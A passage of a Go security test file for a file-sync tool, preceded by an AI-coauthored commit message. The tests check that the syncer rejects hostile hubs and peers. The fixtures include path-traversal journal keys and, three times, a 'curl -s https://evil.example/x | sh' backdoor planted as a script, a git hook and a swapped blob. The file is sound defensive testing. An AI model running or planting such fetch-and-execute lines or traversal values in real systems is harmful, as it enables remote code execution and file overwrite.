Files
beardrive/internal/syncer/sec_audit5_test.go
T
0dd474baab Delta sync: large files move as content-defined chunks (#161)
* feat(sync): delta sync — large files move as content-defined chunks

Files over 4 MiB push as chunks/<sha256> pieces plus a manifests/<sha256>
chunk list keyed by the whole file's hash, so Op.Blob alone locates it and
the journal format is byte-identical. A 1-byte edit to a 20 MiB file now
transfers ~2 MB instead of ~21 MB, both directions; chunk boundaries come
from a rolling hash (restic/chunker), so front insertions stay cheap.

The hub reassembles whole blobs on demand (spool, verify, backfill, serve),
which is the entire backward-compatibility story: old clients ask for
blobs/<sha> and never learn anything changed. Proven by e2e tests that build
the real pre-change binary from the pinned merge-base commit.

The push skip-proof is one Exists per chunk — three cheaper proxies (local
basis, manifest existence, stored manifest content) each proved false or
forgeable across four CTO review rounds and are recorded in the code
comment. Hub-side, manifests are write-once and must name only chunks the
store holds; reassembly is bounded at 256 MiB against amplified manifests.

Also: per-file sync ceiling 32 -> 100 MiB; import refuses archives whose
journals reference content they do not hold (--allow-incomplete overrides).

Deploy hubs before clients: old hubs refuse chunk keys (push degrades to
offline-retry), and old clients cap reads at 32 MiB so 32-100 MiB files
report "blob corrupt on remote" until the client upgrades.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01R6nqxi5a9qcENmJvrgBJF7

* fix(test): fetch the pinned pre-delta commit on shallow CI clones

buildOldBinary archives the pinned merge-base sha, which a fetch-depth-1
actions/checkout does not have — all three old-binary e2e tests failed in
CI with exit 128 while passing on any full local clone. On archive failure,
fetch just that commit (--depth=1, one object; actions/checkout persists
credentials so the in-job fetch works) and retry. Verified against a real
GitHub shallow clone: archive fails, the single-sha fetch succeeds, archive
then yields the pre-delta tree.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01R6nqxi5a9qcENmJvrgBJF7

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-13 07:18:37 -07:00

934 lines
41 KiB
Go

package syncer
// Round 9. Round 8 reverted 48 guards on scoreboard row 15 one at a time and
// the TestSec suite caught 20 — a 57% false-negative rate. Eight of the misses
// were replaced in sec_audit3_test.go; this file is the rest, plus the two
// leads round 8 flagged as possible LIVE holes rather than merely untested
// guards (pull's journal-name slash check and pull's own-journal skip).
//
// The lesson of round 8 is structural: a whole-Cycle fixture routes through
// several guards that enforce the same rule, so reverting one leaves the suite
// green and the test proves nothing about the guard it names. Every test here
// is therefore built so ONLY the guard under test can produce the refusal —
// which for a guard inside scan/materialize/pull/push means calling that
// function directly with a hand-built cache, filter or backend, rather than
// driving Cycle and hoping.
//
// Helper prefix: secaud5.
import (
"bytes"
"context"
"errors"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/runbear-io/beardrive/internal/config"
"github.com/runbear-io/beardrive/internal/journal"
"github.com/runbear-io/beardrive/internal/remote"
"github.com/runbear-io/beardrive/internal/store"
)
// ---- helpers ----
// secaud5Hub is a remote.Backend that answers exactly what a hostile or
// compromised hub chooses to answer. `pull` takes a remote.Backend, not an
// *httpBackend, so this IS the interface the syncer is written against: the
// package's own rule (stated on unsafeRel, on materialize, on withdrawn) is
// that everything arriving over that seam is a peer's or a hub's string, and
// the syncer re-checks it rather than trusting the layer below.
//
// It deliberately does NOT implement remote.ReadReporter, so a Cycle driven
// through it does not also exercise the read-spool drain.
type secaud5Hub struct {
objs []remote.Object
bodies map[string][]byte
listErr error
puts map[string][]byte
}
func (h *secaud5Hub) List(context.Context, string) ([]remote.Object, error) {
if h.listErr != nil {
return nil, h.listErr
}
return h.objs, nil
}
func (h *secaud5Hub) Get(_ context.Context, key string) (io.ReadCloser, error) {
b, ok := h.bodies[key]
if !ok {
return nil, fmt.Errorf("no such object %q", key)
}
return io.NopCloser(bytes.NewReader(b)), nil
}
func (h *secaud5Hub) Put(_ context.Context, key string, r io.Reader, _ int64) error {
b, err := io.ReadAll(r)
if err != nil {
return err
}
if h.puts == nil {
h.puts = map[string][]byte{}
}
h.puts[key] = b
return nil
}
func (h *secaud5Hub) Exists(_ context.Context, key string) (bool, error) {
_, ok := h.bodies[key]
return ok, nil
}
func (h *secaud5Hub) Close() error { return nil }
// secaud5Journal marshals ops the way a journal object holds them.
func secaud5Journal(t *testing.T, ops []journal.Op) []byte {
t.Helper()
data, err := journal.Marshal(ops)
if err != nil {
t.Fatal(err)
}
return data
}
// secaud5VolumeDir is the volume store's root, derived from the one path the
// store exposes. journal/ lives directly under it, so it is the directory a
// journal-name escape lands one level above.
func secaud5VolumeDir(s *Session) string {
return filepath.Dir(filepath.Dir(s.Store.JournalPath("x")))
}
// secaud5Project writes a .bdrive/config.json with an include list — the
// legacy per-device scope that does NOT sync, which is exactly why pruneOps
// must not read it.
func secaud5Project(t *testing.T, folder string, include []string) {
t.Helper()
dir := filepath.Join(folder, config.ProjectDir)
if err := os.MkdirAll(dir, 0o755); err != nil {
t.Fatal(err)
}
body := `{"id":"m-aud5only","volume":"v","remote":"https://hub.example/p/v"`
if len(include) > 0 {
body += `,"include":["` + strings.Join(include, `","`) + `"]`
}
body += "}"
if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(body), 0o644); err != nil {
t.Fatal(err)
}
}
// secaud5Blob stores content in a device's OWN volume store and returns its
// sha, for the tests that call materializeFile directly (no pull involved).
func secaud5Blob(t *testing.T, s *Session, content string) string {
t.Helper()
sum, _, err := s.Store.PutBlobBytes([]byte(content))
if err != nil {
t.Fatal(err)
}
return sum
}
// ---- Part 1, lead 1: pull's journal-name slash check ----
// TestSec_Pull_AHubChosenJournalKeyCannotEscapeTheVolumeDir
//
// `name` in pull is a HUB-CHOSEN object key with "journal/" trimmed off it,
// and it becomes store.JournalPath(dev) — filepath.Join(volume, "journal",
// dev+".jsonl"), which validates nothing. A key of "journal/../evil.jsonl"
// therefore names a file one directory above the journal dir, and pull writes
// the hub's bytes there with store.WriteFileAtomic.
//
// The refusal under test is pull's own: `strings.Contains(name, "/")`.
// remote/http.go's List filter (round 4, TestSec_HTTP_ListedKeysFromTheHubStay-
// InTheKeySpace) refuses these keys one layer up for the https backend, so this
// is the syncer's half of a two-layer boundary — and it is the only half that
// covers a backend whose List does not filter. Driving this through a real
// httpBackend would measure the OTHER layer, which is precisely the structural
// masking round 8 was about, so the hostile keys are delivered at the seam pull
// actually reads.
func TestSec_Pull_AHubChosenJournalKeyCannotEscapeTheVolumeDir(t *testing.T) {
victim := newDevice(t, "victim", nil)
vol := secaud5VolumeDir(victim)
const content = "planted by the hub"
blob := sha256hex(content)
body := secaud5Journal(t, []journal.Op{secjrnOp(1, "notes/ok.md", blob, len(content))})
hostile := []string{
"journal/../escaped.jsonl", // one level up: the volume dir itself
"journal/../../escaped-two-up.jsonl", // above the volume dir
"journal/sub/nested.jsonl", // a subdirectory of the journal dir
}
hub := &secaud5Hub{bodies: map[string][]byte{"blobs/" + blob: []byte(content)}}
// Control FIRST in the listing: an ordinary peer journal. If this one does
// not land, pull never ran and the rest proves nothing — and it has to be
// ahead of the hostile keys, since a refusal further down may end the loop.
ctrl := "journal/peer.jsonl"
hub.objs = append(hub.objs, remote.Object{Key: ctrl, Size: int64(len(body))})
hub.bodies[ctrl] = body
for _, k := range hostile {
hub.objs = append(hub.objs, remote.Object{Key: k, Size: int64(len(body))})
hub.bodies[k] = body
}
victim.Backend = hub
// pull's error is not the assertion: the filesystem is. A hostile key that
// merely fails to be written is still a hub choosing a path on this disk.
newOps, _, perr := victim.pull(context.Background(), nil)
if len(newOps) == 0 {
t.Fatalf("control: the ordinary journal in the same listing was not pulled (%v), so nothing is proven", perr)
}
if _, err := os.Stat(victim.Store.JournalPath("peer")); err != nil {
t.Fatalf("control: the ordinary journal was not written locally: %v", err)
}
for _, p := range []string{
filepath.Join(vol, "escaped.jsonl"),
filepath.Join(filepath.Dir(vol), "escaped-two-up.jsonl"),
filepath.Join(vol, "journal", "sub", "nested.jsonl"),
} {
if _, err := os.Stat(p); err == nil {
t.Errorf("a hub-chosen journal key wrote %s — outside the volume's journal dir %s, at a path the hub named",
p, filepath.Join(vol, "journal"))
}
}
}
// ---- Part 1, lead 2: pull's own-journal skip ----
// TestSec_Pull_TheHubsCopyOfOurOwnJournalCannotOverwriteIt
//
// "Each device writes only its own journal" is the invariant the whole
// concurrency design rests on — it is why no locking service exists. pull's
// `if dev == s.Device.ID { continue }` is the only thing enforcing the reading
// half of it: without it, the hub's copy of OUR journal is treated like a
// peer's, byte-compared against the local file, and store.WriteFileAtomic
// overwrites the local journal with whatever the hub is serving.
//
// The hub is the one party that can do this, because it holds every device's
// journal object. A compromised hub (or a member with write access to the
// storage root, which is what a `file://` hub is) appends ops under the
// victim's device id: they land in the victim's OWN journal file, replay into
// the victim's working folder, and are then pushed onward SIGNED AS the victim
// on the next cycle.
//
// The delta that makes this the server's decision and not the fixture: the
// exact same ops, published under a DIFFERENT device id, are pulled and applied
// normally (asserted below). Only the device's own id must be refused.
func TestSec_Pull_TheHubsCopyOfOurOwnJournalCannotOverwriteIt(t *testing.T) {
be := sharedRemote(t)
victim := newDevice(t, "victim", be)
// The victim syncs one ordinary file, so it has a real journal on the hub.
write(t, victim.Folder, "mine.md", "the victim's own work")
cycle(t, victim)
mine, err := victim.Store.DeviceOps(victim.Device.ID)
if err != nil {
t.Fatal(err)
}
if len(mine) != 1 {
t.Fatalf("setup: expected 1 own op, got %d", len(mine))
}
// The hub now serves a DOCTORED copy of the victim's own journal: its real
// op, plus one the victim never authored.
const backdoor = "#!/bin/sh\ncurl -s https://evil.example/x | sh\n"
blob := secjrnBlob(t, be, backdoor)
forged := secjrnOp(2, "bin/backdoor.sh", blob, len(backdoor))
forged.Device, forged.DeviceName, forged.Author = victim.Device.ID, victim.Device.Name, victim.Device.Author
forged.Lamport = 99
secjrnPush(t, be, victim.Device.ID, append(append([]journal.Op{}, mine...), forged))
if _, err := secpeerCycle(t, victim); err != nil {
t.Fatalf("cycle: %v", err)
}
after, err := victim.Store.DeviceOps(victim.Device.ID)
if err != nil {
t.Fatal(err)
}
for _, op := range after {
if op.Path == "bin/backdoor.sh" {
t.Errorf("the hub's copy of this device's OWN journal was accepted: an op the device never authored (%s %s) is now in %s and will be pushed onward signed as this device",
op.Kind, op.Path, victim.Store.JournalPath(victim.Device.ID))
}
}
if len(after) != len(mine) {
t.Errorf("this device's own journal went from %d ops to %d — the hub rewrote a log only this device may write", len(mine), len(after))
}
if _, err := os.Stat(filepath.Join(victim.Folder, "bin", "backdoor.sh")); err == nil {
t.Errorf("the forged op materialized in the working folder")
}
// The delta: the SAME op under a peer's device id is ordinary traffic and
// must be applied. If this does not land, the test above proved nothing
// about the own-journal rule.
peerOp := forged
peerOp.Device, peerOp.DeviceName, peerOp.Seq = "peer", "peer", 1
peerOp.Path = "bin/peer-supplied.sh"
secjrnPush(t, be, "peer", []journal.Op{peerOp})
if _, err := secpeerCycle(t, victim); err != nil {
t.Fatalf("cycle: %v", err)
}
if _, err := os.Stat(filepath.Join(victim.Folder, "bin", "peer-supplied.sh")); err != nil {
t.Fatalf("control: an ordinary peer's op did not materialize (%v) — the refusal above may not be about the device id at all", err)
}
}
// ---- neverSync's reserved-FILE clause ----
// TestSec_NeverSync_TheAtomicWriteTempPrefixIsNeverAPathWeCarry
//
// neverSync's last clause is config.ReservedName on the base name. It is the
// only thing standing between a peer's journal and a materialized
// ".bdrive-tmp-*" file — the prefix store.WriteFileAtomic uses and the SCANNER
// IS DOCUMENTED TO IGNORE, so a planted one is a file that lands on every
// teammate's disk and which no later scan will ever journal, notice or clean
// up. Asserted on the predicate itself, at every depth and in the case
// variants ReservedName folds, because a whole-Cycle fixture cannot say which
// of neverSync's three clauses refused.
func TestSec_NeverSync_TheAtomicWriteTempPrefixIsNeverAPathWeCarry(t *testing.T) {
for _, rel := range []string{
".bdrive-tmp-evil",
"notes/.bdrive-tmp-evil",
"a/b/c/.bdrive-tmp-123456",
".BDRIVE-TMP-evil",
"notes/.Bdrive-Tmp-x",
".DS_Store",
"notes/.ds_store",
} {
if !neverSync(rel) {
t.Errorf("neverSync(%q) = false — a peer can materialize a name BearDrive is defined never to produce, and no later scan will journal, notice or clean it up", rel)
}
}
// The other direction, so the clause cannot be "widened" into refusing
// everything: ordinary paths still sync.
for _, rel := range []string{"notes/ok.md", ".bdriveignore", "bdrive-tmp-not-hidden.md", "a/.bdriverc"} {
if neverSync(rel) {
t.Errorf("neverSync(%q) = true — an ordinary path stopped syncing", rel)
}
}
}
// ---- Filter.Skip: are the ignore rules applied at all? ----
// TestSec_Filter_IgnoredPathsNeverLeaveTheMachine
//
// No TestSec_* asserted that .bdriveignore is APPLIED. Every rule-related
// security test so far measures a downstream consequence (prune's refusal, the
// nested-mount boundary, "leaving scope is not a delete"), all of which still
// hold when Skip stops consulting the rules — and what Skip is actually FOR is
// the confidentiality boundary: the user names the files that must not leave
// this machine, and scan is where that is enforced. Without it, the first sync
// after `bdrive init` pushes .env, private keys, and every credential the
// seeded .bdriveignore exists to keep out of a shared hub.
//
// Asserted on what reached the hub (the replayed journals), not on the local
// disk, because "did not sync" is the property — the files stay on disk either
// way.
func TestSec_Filter_IgnoredPathsNeverLeaveTheMachine(t *testing.T) {
be := sharedRemote(t)
a := newDevice(t, "deva", be)
write(t, a.Folder, IgnoreFile, "secrets/\n.env\n*.pem\n")
write(t, a.Folder, "secrets/aws-creds.txt", "AKIA...")
write(t, a.Folder, ".env", "DATABASE_URL=postgres://user:pw@host/db")
write(t, a.Folder, "deploy/server.pem", "-----BEGIN PRIVATE KEY-----")
write(t, a.Folder, "notes/ok.md", "ordinary shared content")
cycle(t, a)
state := hubState(t, a)
if _, ok := state["notes/ok.md"]; !ok {
t.Fatal("control: nothing synced at all, so the ignore rules were never exercised")
}
for _, secret := range []string{"secrets/aws-creds.txt", ".env", "deploy/server.pem"} {
if _, ok := state[secret]; ok {
t.Errorf("%s reached the hub — a path %s excludes was scanned, journaled, its content stored as a blob and pushed", secret, IgnoreFile)
}
}
// The same rule on the receiving side: a peer that pushes one of these
// anyway must not have it written here either.
victim := newDevice(t, "victim", be)
write(t, victim.Folder, IgnoreFile, "secrets/\n.env\n*.pem\n")
blob := secjrnBlob(t, be, "pushed anyway")
secjrnPush(t, be, "attacker", []journal.Op{
secjrnOp(1, "secrets/aws-creds.txt", blob, len("pushed anyway")),
secjrnOp(2, ".env", blob, len("pushed anyway")),
secjrnOp(3, "notes/ok2.md", blob, len("pushed anyway")),
})
cycle(t, victim)
if !exists(t, victim.Folder, "notes/ok2.md") {
t.Fatal("control: the peer's ordinary op did not materialize")
}
for _, secret := range []string{"secrets/aws-creds.txt", ".env"} {
if exists(t, victim.Folder, secret) {
t.Errorf("a peer's op wrote %s, a path this device's %s excludes", secret, IgnoreFile)
}
}
}
// ---- the nested-mount boundary: the discovered list, and its carry ----
// TestSec_Filter_SkipHonorsTheNestedMountsTheWalkDiscovered
//
// Filter.nested is what walkFolder records when it meets a subdirectory that
// is a mount of its own. It is a PROJECT boundary (a different member list),
// not an ignore rule, and Skip consults it before anything else.
//
// Asserted on the filter directly, with the list populated the way walkFolder
// populates it and NO root, so the answer can only come from the discovered
// list and not from Filter.underMountOnDisk's stat of the real filesystem.
//
// MEASURED (round 9): with a root set — which loadFilter, the only constructor,
// always does — underMountOnDisk answers the same question, so the discovered
// list is redundant in production exactly like the reload carry above. What
// this test pins is Skip's stated contract rather than a live hole.
func TestSec_Filter_SkipHonorsTheNestedMountsTheWalkDiscovered(t *testing.T) {
f := &Filter{} // no root: the on-disk fallback cannot answer, only the list can
f.addNestedMount("sub")
for _, rel := range []string{"sub/secret.md", "sub/deep/inner.md"} {
if !f.Skip(rel) {
t.Errorf("Filter.Skip(%q) = false with %q discovered as a nested mount — this project would read from and write into another project's working folder", rel, "sub")
}
}
if f.Skip("subtle/notes.md") {
t.Error(`Filter.Skip("subtle/notes.md") = true — a sibling whose name merely starts with the mount's stopped syncing`)
}
if f.Skip("notes/ok.md") {
t.Error("an unrelated path stopped syncing")
}
}
// TestSec_Cycle_ANestedMountSurvivesAPulledIgnoreFile
//
// Cycle reloads the filter when a pulled .bdriveignore lands, and carries
// filter.nested across the reload by hand. .bdriveignore is an ordinary synced
// file any member may edit, so without the carry a peer drops the project
// boundary by touching the rules in the same push.
//
// This restates TestSec_SyncPeer_IgnoreFileReloadCannotDropTheNestedMount-
// Boundary with the nested mount sitting inside a directory the OLD rules
// pruned — walkFolder stops at a pruned directory and never looks for a mount
// inside it, so the discovered list is empty for it and the reload has nothing
// to carry. That is the case Filter.underMountOnDisk was added for, and this
// pins both halves at once: the boundary must hold whichever of the two found
// it.
//
// MEASURED (round 9): the carry itself is now DEAD. Delete `nested :=
// filter.nested` / `filter.nested = nested` and this test, and every other test
// in the suite, still passes — because underMountOnDisk (round 5) answers the
// same question authoritatively from the filesystem, and loadFilter is the only
// constructor of a Filter and always sets root. The carry is belt over braces,
// not a second guard, and it should not be counted as coverage. Removing
// underMountOnDisk instead DOES fail the pruned-directory arm below.
func TestSec_Cycle_ANestedMountSurvivesAPulledIgnoreFile(t *testing.T) {
const hostile = "planted by a peer of the OUTER project"
run := func(t *testing.T, pruneFirst bool, newRules string) bool {
be := sharedRemote(t)
victim := newDevice(t, "victim", be)
secjrnProject(t, filepath.Join(victim.Folder, "sub"))
write(t, victim.Folder, "sub/secret.md", "the inner project's own file")
if pruneFirst {
// The old rules exclude sub/ entirely, so the scan walk prunes it
// and never discovers the mount inside.
write(t, victim.Folder, IgnoreFile, "sub/\n")
}
blob := secjrnBlob(t, be, hostile)
ops := []journal.Op{
secjrnOp(1, "sub/planted.md", blob, len(hostile)),
secjrnOp(2, IgnoreFile, secjrnBlob(t, be, newRules), len(newRules)),
}
secjrnPush(t, be, "attacker", ops)
cycle(t, victim)
return exists(t, victim.Folder, "sub/planted.md")
}
if run(t, false, "# rules from a peer\n*.log\n") {
t.Error("a peer wrote into a nested mount by pushing " + IgnoreFile + " in the same batch (mount discovered by the scan walk)")
}
if run(t, true, "# the peer re-opens the directory\n") {
t.Error("a peer wrote into a nested mount that the old rules had pruned — the walk never discovered it, so only the on-disk boundary could refuse, and it did not")
}
}
// ---- pruneOps: the two clauses nothing held up ----
// TestSec_Prune_ReservedPathsAPeerPushedAreRemovedFromTheHub
//
// pruneOps' `|| neverSync(rel)` is what makes --prune treat the builtin
// exclusions exactly like ignore rules. The builtins are the paths the scan
// walk never uploads — .git/ and .bdrive/ — so anything the hub holds under
// one of them was put there by something that is not a scan: an older client,
// a direct /store PUT, or a peer that simply chose to. Those are the highest
// value objects in the store (git hooks, a mount's identity), they are invisible
// in every device's working folder because materialize refuses to write them,
// and --prune is the only tool that removes them.
func TestSec_Prune_ReservedPathsAPeerPushedAreRemovedFromTheHub(t *testing.T) {
be := sharedRemote(t)
victim := newDevice(t, "victim", be)
write(t, victim.Folder, "notes/ok.md", "ordinary content")
cycle(t, victim)
const hook = "#!/bin/sh\ncurl -s https://evil.example/x | sh\n"
blob := secjrnBlob(t, be, hook)
secjrnPush(t, be, "attacker", []journal.Op{
secjrnOp(1, ".git/hooks/pre-commit", blob, len(hook)),
secjrnOp(2, ".bdrive/config.json", blob, len(hook)),
secjrnOp(3, "notes/theirs.md", blob, len(hook)),
})
cycle(t, victim)
if _, ok := hubState(t, victim)[".git/hooks/pre-commit"]; !ok {
t.Fatal("setup: the reserved path never reached the shared state, so prune has nothing to remove")
}
prune(t, victim)
state := hubState(t, victim)
for _, rel := range []string{".git/hooks/pre-commit", ".bdrive/config.json"} {
if _, ok := state[rel]; ok {
t.Errorf("--prune left %s on the hub — a path the scan walk never produces, invisible in every working folder because materialize refuses it, and reachable by anyone who can PUT a journal", rel)
}
}
if _, ok := state["notes/theirs.md"]; !ok {
t.Error("control: --prune removed an ordinary peer file, so the refusal above is not about the builtin exclusions")
}
}
// TestSec_Prune_ThisDevicesPrivateIncludeListCannotDeleteTeammatesFiles
//
// pruneOps loads its own filter with a nil include list, and the comment says
// why: .bdriveignore syncs, so every device agrees on it, but the include list
// lives in THIS device's .bdrive/config.json and does not sync. Reuse the
// cycle's main filter here and a device carrying the legacy include-list scope
// deletes, from the hub, for the whole team, every path outside its own private
// scope — the same hub-wide-delete hazard the `!`-rule refusal exists for, by a
// second door that no refusal covers because the CLI cannot see it.
func TestSec_Prune_ThisDevicesPrivateIncludeListCannotDeleteTeammatesFiles(t *testing.T) {
be := sharedRemote(t)
peer := newDevice(t, "peer", be)
victim := newDevice(t, "victim", be)
// The team's content, pushed by a whole-folder teammate.
write(t, peer.Folder, "docs/handbook.md", "the team handbook")
write(t, peer.Folder, "wiki/page.md", "a wiki page")
write(t, peer.Folder, IgnoreFile, "*.log\n") // no `!` rules: the CLI clears the prune
cycle(t, peer)
// The victim syncs the same project with a legacy include-list scope: it
// only materializes wiki/, and nothing about that is the team's business.
secaud5Project(t, victim.Folder, []string{"wiki"})
cycle(t, victim)
filter, err := LoadFilter(victim.Folder, nil)
if err != nil {
t.Fatal(err)
}
if filter.Negated() {
t.Fatal("setup: the CLI would have refused this prune, so nothing is proven")
}
prune(t, victim)
if _, ok := hubState(t, victim)["docs/handbook.md"]; !ok {
t.Error("--prune deleted docs/handbook.md from the hub for the whole team — this device's own, non-syncing include list decided what everyone keeps")
}
}
// ---- pull: the blob hash check, and what a failed check costs ----
// TestSec_Pull_ABlobThatDoesNotHashToItsShaIsReportedAndCannotFreezeThePush
//
// pull verifies that fetched bytes hash to the sha the op names. Content
// addressing already protects the DISK on its own — PutBlobReader files bytes
// under their OWN hash, so HasBlob(op.Blob) stays false and materializeFile
// skips the path — which is why deleting the check leaves every existing test
// green, including TestSec_SyncPeer_BlobContentMustHashToTheShaTheOpNames.
//
// What the check adds is the only SIGNAL a device ever gets that its hub is
// serving bytes that are not what they are addressed as. Without it the case is
// indistinguishable from "that blob has not been uploaded yet", which is normal,
// transient and silent — so a hub substituting content for a hash is a
// permanently invisible event on every device. That is worth a guard, and this
// asserts it: the cycle that meets the mismatch must SAY so.
//
// The other half is the cost of saying so. pull reports it by returning an
// error, and Cycle turns any pull error into res.Offline, which skips the push
// entirely. That is one cycle's push window spent on a peer's line of JSON, and
// it is one refactor away from the round-4 wedge class ("one peer op killed sync
// on every device that pulled it") — so the second half pins that it does NOT
// persist: the next cycle pushes.
func TestSec_Pull_ABlobThatDoesNotHashToItsShaIsReportedAndCannotFreezeThePush(t *testing.T) {
be := sharedRemote(t)
victim := newDevice(t, "victim", be)
const honest = "what the sha actually names"
const swapped = "#!/bin/sh\ncurl -s https://evil.example/x | sh\n"
sum := sha256hex(honest)
if err := be.Put(context.Background(), "blobs/"+sum, strings.NewReader(swapped), int64(len(swapped))); err != nil {
t.Fatal(err)
}
secjrnPush(t, be, "attacker", []journal.Op{secjrnOp(1, "run.sh", sum, len(honest))})
first, err := secpeerCycle(t, victim)
if err != nil {
t.Fatalf("cycle failed outright: %v", err)
}
// The disk half, already pinned elsewhere: the substituted bytes never land.
if b, err := os.ReadFile(filepath.Join(victim.Folder, "run.sh")); err == nil && string(b) == swapped {
t.Errorf("content that does not hash to its op's sha materialized: %q", b)
}
// The signal. Content addressing makes the mismatch harmless on disk and
// therefore INVISIBLE — identical in every observable way to a blob that has
// simply not been uploaded yet. The device has to notice out loud, or a hub
// serving wrong bytes for a hash is an event nobody can ever detect.
if !first.Offline || first.OfflineErr == nil {
t.Errorf("the hub served bytes that do not hash to the sha its op names and the cycle reported nothing (Offline=%v err=%v) — the case is otherwise indistinguishable from an ordinary not-yet-uploaded blob",
first.Offline, first.OfflineErr)
} else if !strings.Contains(first.OfflineErr.Error(), "corrupt") {
t.Errorf("the mismatch was reported as %q — it must name the blob and say what is wrong, or it reads as a network problem", first.OfflineErr)
}
// The device half. An ordinary local edit, on the very next cycle.
write(t, victim.Folder, "mine.md", "my own work")
res, err := secpeerCycle(t, victim)
if err != nil {
t.Fatalf("cycle: %v", err)
}
if res.LocalOps == 0 {
t.Fatal("control: the local edit was not journaled at all")
}
if res.Offline {
t.Errorf("one peer op naming a blob whose bytes do not match froze the whole device offline (%v) — and it is not transient: the correct bytes never arrive, so every later cycle re-fetches and re-fails", res.OfflineErr)
}
if !res.Pushed {
t.Errorf("this device's own later edit was never pushed (res %+v) — one line of JSON from a peer stopped it syncing, permanently", res)
}
}
// TestSec_ShortSha_ABlobStringShorterThanTwelveBytesIsNotSliced
//
// shortSha exists because op.Blob is arbitrary JSON off a peer's journal and
// the message that reports a corrupt blob slices it. The round-4 test that was
// meant to hold this up drives a whole cycle whose hostile blobs 404, so the
// Get fails and the slice is never reached — the bound has never actually been
// exercised. Called directly, it is.
func TestSec_ShortSha_ABlobStringShorterThanTwelveBytesIsNotSliced(t *testing.T) {
defer func() {
if r := recover(); r != nil {
t.Fatalf("shortSha panicked on a peer-supplied blob string: %v — that is a crashed daemon on every device that pulls the line", r)
}
}()
for _, s := range []string{"", "a", "deadbeef", strings.Repeat("f", 11), strings.Repeat("f", 12), strings.Repeat("f", 64)} {
got := shortSha(s)
if len(got) > 12 {
t.Errorf("shortSha(%q) = %q — %d bytes, the bound is 12", s, got, len(got))
}
if len(s) <= 12 && got != s {
t.Errorf("shortSha(%q) = %q — a string within the bound was altered", s, got)
}
}
}
// ---- materializeFile: the two refusals that protect a file already on disk ----
// TestSec_Materialize_AnUntrackedLocalFileIsNotClobberedByAPeersOp
//
// materializeFile's untracked-adopt clause: when the cache has never seen this
// path but a file is already sitting there, the file is adopted only if it
// hashes to exactly the content the op names — otherwise it is left alone for
// the next scan to journal.
//
// A whole-Cycle fixture cannot test this, because scan runs first and tracks
// the file, so the `!ok` arm is never taken. It IS taken in real life: any file
// created between the scan and the materialize of the same cycle, any path a
// filter previously excluded (dropped from the cache without a delete op) and a
// pulled .bdriveignore has just re-included, and every path on a device whose
// state cache was lost while the working folder survived — the case
// TestSec_Store_CacheKeysCannotNameAPathOutsideTheVolume also lives in.
// Without the clause a peer's op silently overwrites local content that was
// never journaled anywhere, so there is no version of it to restore.
func TestSec_Materialize_AnUntrackedLocalFileIsNotClobberedByAPeersOp(t *testing.T) {
victim := newDevice(t, "victim", nil)
const local = "my own draft, never journaled anywhere"
const theirs = "the peer's version"
write(t, victim.Folder, "notes/draft.md", local)
want := journal.FileState{Blob: secaud5Blob(t, victim, theirs), Size: int64(len(theirs)), Mode: 0o644}
cache := map[string]store.CachedFile{} // the path is UNTRACKED
wrote, err := victim.materializeFile("notes/draft.md", want, cache)
if err != nil {
t.Fatalf("materializeFile: %v", err)
}
if got := read(t, victim.Folder, "notes/draft.md"); got != local {
t.Errorf("an untracked local file was overwritten by a peer's op: %q — the content was never journaled, so there is no version of it to restore", got)
}
if wrote {
t.Error("materializeFile reported a write over an untracked file it should have left for the next scan")
}
// The delta: an untracked file whose content IS what the op names is
// adopted, so the refusal above is about the mismatch and not about
// untracked files in general.
write(t, victim.Folder, "notes/same.md", theirs)
if _, err := victim.materializeFile("notes/same.md", want, cache); err != nil {
t.Fatalf("adopting an identical untracked file failed: %v", err)
}
if _, ok := cache["notes/same.md"]; !ok {
t.Error("control: an identical untracked file was not adopted, so the mismatch refusal proves nothing")
}
}
// TestSec_Materialize_AnOpWhoseBlobWasNeverFetchedCreatesNothing
//
// materializeFile's HasBlob check. Without it the path falls through to
// writeFile, whose first act after the boundary check is MkdirAll — so an op
// naming content the device does not hold still creates that op's whole parent
// chain in every teammate's working folder, and only then fails on OpenBlob.
//
// A journal can name a blob that was never pushed (pull explicitly survives
// that case rather than treating it as a contradiction), so the directory tree
// is free for any peer to write: empty folders appear in everyone's folder, get
// picked up by editors and backup tools, and nothing ever removes them because
// no op and no cache entry refers to them.
func TestSec_Materialize_AnOpWhoseBlobWasNeverFetchedCreatesNothing(t *testing.T) {
victim := newDevice(t, "victim", nil)
want := journal.FileState{Blob: sha256hex("content that was never pushed"), Size: 12, Mode: 0o644}
cache := map[string]store.CachedFile{}
wrote, err := victim.materializeFile("a/b/c/ghost.md", want, cache)
if err != nil {
t.Fatalf("an op with no content behind it must be a quiet retry, not an error: %v", err)
}
if wrote {
t.Error("materializeFile reported a write for content it does not hold")
}
if _, ok := cache["a/b/c/ghost.md"]; ok {
t.Error("the state cache recorded a path that was never written")
}
if _, err := os.Stat(filepath.Join(victim.Folder, "a")); err == nil {
t.Errorf("an op naming a blob this device never fetched created %s in the working folder — a peer chooses the tree, nothing later removes it",
filepath.Join(victim.Folder, "a", "b", "c"))
}
}
// ---- the "never clobber dirty files" invariant, both halves ----
// TestSec_Materialize_AFileEditedMidCycleIsNotOverwritten
//
// "Materialize never clobbers dirty files" is a stated invariant of this
// repo, and the write half of it had no test at all. The window is real and
// small: scan runs at the top of the cycle, the pull that follows takes network
// time, and anything the user (or an agent, mid-run) writes in between has a
// size/mtime that no longer matches the cache fingerprint. Clobbering it loses
// an edit that was never journaled — the one case where the content is not
// recoverable from the blob store.
//
// Driven straight at materializeFile with the fingerprint mismatch the window
// produces, because through Cycle the scan re-fingerprints the file first and
// the window closes before materialize sees it.
func TestSec_Materialize_AFileEditedMidCycleIsNotOverwritten(t *testing.T) {
victim := newDevice(t, "victim", nil)
const scanned = "what the scan saw"
const edited = "what the user typed while the pull was in flight"
const theirs = "the peer's version"
write(t, victim.Folder, "notes/live.md", scanned)
cache := map[string]store.CachedFile{"notes/live.md": {
Blob: secaud5Blob(t, victim, scanned), Size: int64(len(scanned)), Mode: 0o644,
MTimeNS: time.Now().Add(-time.Hour).UnixNano(),
}}
// The edit that lands after the scan and before the materialize.
write(t, victim.Folder, "notes/live.md", edited)
want := journal.FileState{Blob: secaud5Blob(t, victim, theirs), Size: int64(len(theirs)), Mode: 0o644}
